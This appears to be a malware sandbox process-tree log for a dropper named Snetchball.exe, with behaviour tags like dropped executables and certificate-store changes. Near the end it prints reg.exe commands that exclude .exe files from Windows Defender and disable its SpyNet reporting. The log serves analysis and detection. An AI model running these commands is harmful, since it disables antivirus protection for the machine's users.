C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=renderer --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --field-trial-handle=2836,14059417961094652827,18027198836368525221,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3188 /prefetch:133⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2836,14059417961094652827,18027198836368525221,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --lang=en-US --service-sandbox-type=network --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36" --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --mojo-platform-channel-handle=3216 /prefetch:833⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"32⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"32⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"32⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"32⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"32⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=renderer --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --field-trial-handle=2872,8897377371215448603,14463100497325208262,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4476.0 Safari/537.36" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3208 /prefetch:131⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2872,8897377371215448603,14463100497325208262,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --lang=en-US --service-sandbox-type=network --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4476.0 Safari/537.36" --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --mojo-platform-channel-handle=3172 /prefetch:831⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"30⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"30⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"30⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"30⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"30⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=renderer --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --field-trial-handle=2840,14858862295879299685,17295636674637847351,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.105 Safari/537.36" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3196 /prefetch:129⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"28⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"28⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"28⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"28⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"28⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=renderer --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --field-trial-handle=2860,15899929388945168781,7419223888666148994,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Linux; Android 11; SM-A505F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Mobile Safari/537.36" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3176 /prefetch:127⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"26⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"26⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"26⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"26⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"26⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=renderer --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --field-trial-handle=2856,3956465883134394956,5043585880306443708,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Linux; Android 11; SM-A505F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Mobile Safari/537.36" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3216 /prefetch:125⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2856,3956465883134394956,5043585880306443708,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --lang=en-US --service-sandbox-type=network --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Linux; Android 11; SM-A505F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Mobile Safari/537.36" --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --mojo-platform-channel-handle=3180 /prefetch:825⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"24⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"24⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"24⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"24⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"24⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=renderer --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --field-trial-handle=2756,16605724862147668351,8184303886034974654,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Linux; Android 11; SM-A505F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Mobile Safari/537.36" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3228 /prefetch:123⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"22⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"22⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"22⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"22⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"22⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=renderer --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --field-trial-handle=2852,15955737643096916512,1540399912550750019,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Linux; Android 11; SM-A505F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Mobile Safari/537.36" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3156 /prefetch:121⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"20⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"20⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"20⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"20⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"20⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=renderer --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --field-trial-handle=2872,7264024172170132715,15312227009764169712,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Linux; Android 8.0; Galaxy Nexus Build/IMM76B; UCBrowser; ru-UA) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.66 YaBrowser/21.2.6.68 Mobile Safari/537.36" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3204 /prefetch:119⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"18⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"18⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"18⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"18⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"18⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2848,11632107300355285355,4173813756744281303,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --lang=en-US --service-sandbox-type=network --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.167 YaBrowser/22.7.4.957 Yowser/2.5 Safari/537.36" --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --mojo-platform-channel-handle=3204 /prefetch:817⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=renderer --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --field-trial-handle=2848,11632107300355285355,4173813756744281303,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.167 YaBrowser/22.7.4.957 Yowser/2.5 Safari/537.36" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3184 /prefetch:117⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"16⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"16⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"16⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"16⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"16⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=renderer --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --field-trial-handle=2728,11684591958910206777,16695886110250067651,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Linux; Android 11; SM-A505F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Mobile Safari/537.36" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3180 /prefetch:115⤵
- Executes dropped EXE
- Checks computer location settings
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"14⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"14⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"14⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"14⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"14⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=renderer --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --field-trial-handle=2756,1678014076749500186,2742012632960583978,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 Edg/106.0.0.0" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3208 /prefetch:113⤵
- Executes dropped EXE
- Checks computer location settings
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2756,1678014076749500186,2742012632960583978,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --lang=en-US --service-sandbox-type=network --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 Edg/106.0.0.0" --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --mojo-platform-channel-handle=3088 /prefetch:813⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"12⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"12⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"12⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"12⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"12⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=renderer --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --field-trial-handle=2844,2794337326330680871,3290147657243974060,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 Edg/106.0.1347.0" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3188 /prefetch:111⤵
- Executes dropped EXE
- Checks computer location settings
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"10⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"10⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"10⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"10⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2920,11598328293229199253,10037162673382561336,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --lang=en-US --service-sandbox-type=network --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Linux; Android 11; SM-A505F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Mobile Safari/537.36" --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --mojo-platform-channel-handle=3260 /prefetch:89⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies system certificate store
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=renderer --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --field-trial-handle=2920,11598328293229199253,10037162673382561336,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Linux; Android 11; SM-A505F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Mobile Safari/537.36" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3192 /prefetch:19⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=renderer --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --field-trial-handle=2920,11598328293229199253,10037162673382561336,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --disable-gpu-compositing --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Linux; Android 11; SM-A505F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Mobile Safari/537.36" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3704 /prefetch:19⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=renderer --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --field-trial-handle=2920,11598328293229199253,10037162673382561336,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --disable-gpu-compositing --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Linux; Android 11; SM-A505F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Mobile Safari/537.36" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3636 /prefetch:19⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=renderer --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --field-trial-handle=2920,11598328293229199253,10037162673382561336,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --disable-gpu-compositing --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Linux; Android 11; SM-A505F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Mobile Safari/537.36" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3528 /prefetch:19⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 17324⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 21084⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\JhCdhHbm\g8soNXAr8ZzH9E8K.exeC:\Users\Admin\AppData\Local\Temp\JhCdhHbm\g8soNXAr8ZzH9E8K.exe /S /site_id=7576744⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\7zS7EDF.tmp\Install.exe.\Install.exe /S /site_id=7576745⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\7zS8884.tmp\Install.exe.\Install.exe /S /site_id "757674" /S /site_id=7576746⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks computer location settings
- Drops file in System32 directory
- Enumerates system info in registry
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"7⤵
-
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&8⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:329⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:649⤵
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"7⤵
-
